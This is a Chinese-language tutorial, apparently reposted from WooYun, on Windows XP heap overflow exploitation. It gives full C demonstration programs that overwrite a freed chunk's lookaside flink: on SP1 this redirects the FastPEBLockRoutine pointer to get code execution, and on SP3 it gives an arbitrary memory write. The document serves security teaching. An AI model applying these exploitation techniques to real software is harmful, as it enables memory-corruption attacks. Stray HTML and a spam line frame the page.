<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/1621

            0x00 概述


            本文從程序實例出發,展示了XP SP1下的堆溢出+代碼執行,XP SP3下的堆溢出+內存任意寫,主要面向{已經掌握緩沖區溢出原理,希望進一步了解堆溢出原理的初學者}、{就是想找個堆溢出例子跑一遍的安全愛好者}以及{跑不通各種堆溢出書籍示例代碼、非得跑通代碼才看的進去書的搜索者}

            本筆記參考自:http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/

            代碼有較多改動,終于跑通了,并且試著簡單地利用了一下。

            按照代碼閱讀者視角 整理了講解思路。

            筆記只供初學者參考,并非嚴肅探討堆溢出細節問題,若有不當之處懇請各位指正。

            0x01 測試代碼環境


            虛擬機:  VirtualBox
            操作系統:  Windows XP  sp1
            編譯器:   VC++ 6.0
            調試工具:  看雪OllyICE
            

            其中,Windows XP 只能是sp1,因為sp2之后需要繞過其溢出保護機制 會使文章更加復雜。

            如果您想要尋找xp sp3 下的內存任意寫實例,請跳轉0x09。

            0x02 測試代碼步驟


            安裝Windows XP sp1 注意,網上有很多sp2 不知什么目的寫成是sp1,下面是真正的sp1 http://pan.baidu.com/share/link?shareid=371613660&uk=1865555701&fid=2361791550

            下載VC++ 6.0 綠色版 http://pan.baidu.com/s/1kTLqYnd 解壓后運行sin.bat

            下載代碼工程 http://pan.baidu.com/s/1kT5HRNp

            或者拷貝文中代碼 自己新建工程

            #!cpp
            /*
                    Overwriting a chunk on the lookaside example
            */
            #include <stdio.h>
            #include <windows.h>
            
            void print()
            {
                printf("\nHello\n");
            }
            
            int main(int argc,char *argv[])
            {
                    char *a,*b,*c;
                    long *hHeap;
                    char buf[10];
            
                    printf("----------------------------\n");
                    printf("Overwrite a chunk on the lookaside\n");
                    printf("Heap demonstration\n");
                    printf("----------------------------\n");
            
                    // create the heap
                    hHeap = HeapCreate(0x00040000,0,0);
                    printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
                    printf("(+) Allocating chunk A\n");
            
                    // allocate the first chunk of size N (<0x3F8 bytes)
                    a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    printf("(+) Allocating chunk B\n");
            
                    // allocate the second chunk of size N (<0x3F8 bytes)
                    b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
            
                    printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
                    printf("(+) Freeing chunk B to the lookaside\n");
            
                    // Freeing of chunk B: the chunk gets referenced to the lookaside list
                    HeapFree(hHeap,0,b);
            
                    // set software bp
                    //__asm__("int $0x3");
            
                    printf("(+) Now overflow chunk A:\n");
            
                    // The overflow occurs in chunk A: we can manipulate chunk B's Flink
                    // PEB lock routine for testing purposes
                    // 16 bytes for size, 8 bytes for header and 4 bytes for the flink
            
                    strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
                    // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");
            
                    //gets(a);
            
                    // set software bp
                    //__asm__("int $0x3");
            
                    printf("(+) Allocating chunk B\n");
            
                    // A chunk of block size N is allocated (C). Our fake pointer is returned
                    // from the lookaside list.
                    b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    printf("(+) Allocating chunk C\n");
            
                    // set software bp
                    //    __asm__("int $0x3");
            
                    // A second chunk of size N is allocated: our fake pointer is returned
                    c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
            
                    printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
            
                    // A copy operation from a controlled input to this buffer occurs: these
                    // bytes are written to our chosen location
                    // insert shellcode here
            
                    printf("%x",print);
                    memcpy(c,"\x00\x10\x40\x00",4);
                    // set software bp
                    //_asm int 0x3;
            
                    exit(0);
             }
            

            編譯運行,運氣好的直接就能跑,不過一般會如下圖:

            enter image description here

            顯示為:401005(0x00401005),然后修改代碼中:

            #!cpp
            memcpy(c,"\x00\x10\x40\x00",4);
            

            改成

            #!cpp
            memcpy(c,"\x05\x10\x40\x00",4);     
            

            重新編譯運行即可,成功后如下圖:

            enter image description here

            然后就可以開始正文了。

            0x03 溢出的位置


            之前我們給a從堆里分配了0x10即16個字節的空間

            #!cpp
            a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
            

            因此

            #!cpp
            strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
            

            發生了溢出。

            0x04 溢出前發生了什么


            #!cpp
            HeapFree(hHeap,0,b);
            

            把b free掉,然后b就會被放到lookaside list備用。

            0x05 溢出后覆蓋了什么


            覆蓋了b的freelist chunk結構。

            (AAAABBBB覆蓋了Headers,然后\x20\xf0\xfd\x7f覆蓋的是flink)

            enter image description here

            0x06 溢出后發生了什么


            #!cpp
             printf("(+) Allocating chunk B\n");
            
            // A chunk of block size N is allocated (C). Our fake pointer is returned
            // from the lookaside list.
             b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
             printf("(+) Allocating chunk C\n");
            
            // set software bp
            //    __asm__("int $0x3");
            
            // A second chunk of size N is allocated: our fake pointer is returned
            c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
            
            printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
            

            先是從lookaside取回b (flink已經被覆蓋了),然后再去分配c ,于是c被分配到了b的flink即我們的虛假指針處,之后就可以實現內存任意寫了(寫進c的內容就是寫進虛假指針)

            0x07 虛假指針指向什么地方


            0x7FFDF000 指向 FastPEBLockRoutine() 地址指針 (XP SP1) 我們覆蓋這個地址,這樣一旦觸發異常,就會去call 這個地址。

            然后我們把print函數地址寫進去,于是就會去執行print函數(顯示Hello,Hello上面打印的是print函數的地址)

            0x08 為什么非要XP SP1才能運行以上代碼


            因為SP1里面FastPEBLockRoutine()的地址是固定的,而SP2以后版本會隨機

            0x09 我就是要在XP SP3下跑代碼,我不想下載SP1


            那就用如下代碼吧,不過就沒法FastPEBLockRoutine()隨意call 了

            #!cpp
            /*
                    Overwriting a chunk on the lookaside example
            */
            #include <stdio.h>
            #include <windows.h>
            
            int main(int argc,char *argv[])
            {
                    char str[]="\nHello123456789213456789\n";
            
            
                    char *a,*b,*c;
                    long *hHeap;
                    char buf[10];
            
                    printf("----------------------------\n");
                    printf("Overwrite a chunk on the lookaside\n");
                    printf("Heap demonstration\n");
                    printf("----------------------------\n");
            
                    // create the heap
                    hHeap = HeapCreate(0x00040000,0,0);
                    printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
                    printf("(+) Allocating chunk A\n");
            
                    // allocate the first chunk of size N (<0x3F8 bytes)
                    a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    printf("(+) Allocating chunk B\n");
            
                    // allocate the second chunk of size N (<0x3F8 bytes)
                    b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
            
                    printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
                    printf("(+) Freeing chunk B to the lookaside\n");
            
                    // Freeing of chunk B: the chunk gets referenced to the lookaside list
                    HeapFree(hHeap,0,b);
            
                    // set software bp
                    //__asm__("int $0x3");
            
                    printf("(+) Now overflow chunk A:\n");
            
                    // The overflow occurs in chunk A: we can manipulate chunk B's Flink
                    // PEB lock routine for testing purposes
                    // 16 bytes for size, 8 bytes for header and 4 bytes for the flink
            
                    printf("%x\n",str);
                    printf(str);
                    memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);
                    // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");0x71ac4050
            
                    //gets(a);
            
                    // set software bp
                    //__asm__("int $0x3");
            
                    printf("(+) Allocating chunk B\n");
            
                    // A chunk of block size N is allocated (C). Our fake pointer is returned
                    // from the lookaside list.
                    b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    printf("(+) Allocating chunk C\n");
            
                    // set software bp
                    //    __asm__("int $0x3");
            
                    // A second chunk of size N is allocated: our fake pointer is returned
                    c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
            
                    printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
            
                    // A copy operation from a controlled input to this buffer occurs: these
                    // bytes are written to our chosen location
                    // insert shellcode here
                    strcpy(c,"AAAAAAAAAAAA\n");
                    printf(str);
                    // set software bp
                    //_asm int 0x3;
            
                    exit(0);
             }
            

            也許一遍就能跑通,但是一般來說還是像下面一樣

            enter image description here

            老規矩,自己改代碼(圖中12ff64)0x0012ff64

            #!cpp
            memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);
            

            注意里面有\x00,所以我換用memcpy了,成功后如下圖

            enter image description here

            那么,這段代碼展示的實際上是內存任意寫(沒有call anycode的利用),只是把任意內容寫到了str里面,即free(b),再用str地址覆蓋b的flink,然后取回b,然后分配c,c被分配到了str地址,然后向c里面寫AAAAAAA,然后就寫進str里面了。

            0x0A 結語


            個人觀點:盡管看到這里讀者仍然只是似懂非懂地{大致了解堆溢出的原理和過程},但是起碼有了一個基本的概念,對以后深入研究其機理 奠定了興趣基礎,并且對于{只是好奇的愛好者}來說,涉獵這些也就夠了。

            建議有興趣的朋友們去看看heap-overflows-for-humans-102 原文,里面有很多基礎概念的講解,本筆記僅為學習時的記錄,并非嚴肅翻譯原文。

            0x0B reference


            http://net-ninja.net/article/2011/Sep/03/heap-overflows-for-humans-102/

            注:本文代碼基于此文章修改,改動較大。

            《C和C++安全編碼》

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线